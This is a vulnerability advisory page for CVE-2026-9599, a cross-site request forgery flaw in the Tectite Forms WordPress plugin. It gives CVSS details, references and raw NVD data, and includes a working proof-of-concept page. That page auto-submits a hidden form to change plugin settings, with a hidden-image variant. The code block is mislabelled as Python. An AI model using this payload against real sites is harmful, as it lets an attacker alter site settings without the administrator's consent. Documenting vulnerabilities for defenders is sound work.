CVE-2026-9599

Description

The Tectite Forms plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3. This is due to missing or incorrect nonce validation on the admin_init function. This makes it possible for unauthenticated attackers to modify the plugin's settings, including the tectite_forms_button option, via a forged request via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Tectite Forms plugin for WordPress <= 1.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2026-9599 - Tectite Forms Settings Modification -->
<!DOCTYPE html>
<html>
<head>
    <title>Tectite Forms CSRF PoC</title>
</head>
<body>
    <h1>CVE-2026-9599 CSRF Attack PoC</h1>
    <p>This PoC demonstrates the CSRF vulnerability in Tectite Forms plugin.</p>
    
    <form action="http://target-site.com/wp-admin/admin.php?page=tectite_forms" method="POST" id="csrfForm">
        <input type="hidden" name="tectite_forms_button" value="malicious_value">
        <input type="hidden" name="action" value="save_settings">
        <input type="hidden" name="option_page" value="tectite_forms">
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <p>If you see this message, the form has been submitted.</p>
</body>
</html>

<!-- Alternative: Image-based auto-submit (no user interaction) -->
<img src="http://target-site.com/wp-admin/admin.php?page=tectite_forms&tectite_forms_button=malicious&action=save_settings" style="display:none" />

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9599
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9599
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9599/
[4] VulDB https://vuldb.com/cve/CVE-2026-9599
[5] https://plugins.trac.wordpress.org/browser/tectite-forms/tags/1.3/php/class-tectite-forms.php#L55
[6] https://plugins.trac.wordpress.org/browser/tectite-forms/tags/1.3/php/class-tectite-forms.php#L56
[7] https://plugins.trac.wordpress.org/browser/tectite-forms/tags/1.3/views/admin.php#L49
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/965b6a19-3e5f-446c-a739-746e886a5585?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9599", "sourceIdentifier": "[email protected]", "published": "2026-06-02T09:16:17.180", "lastModified": "2026-06-02T13:03:31.153", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tectite Forms plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3. This is due to missing or incorrect nonce validation on the admin_init function. This makes it possible for unauthenticated attackers to modify the plugin's settings, including the tectite_forms_button option, via a forged request via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/tectite-forms/tags/1.3/php/class-tectite-forms.php#L55", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/tectite-forms/tags/1.3/php/class-tectite-forms.php#L56", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/tectite-forms/tags/1.3/views/admin.php#L49", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/965b6a19-3e5f-446c-a739-746e886a5585?source=cve", "source": "[email protected]"}]}}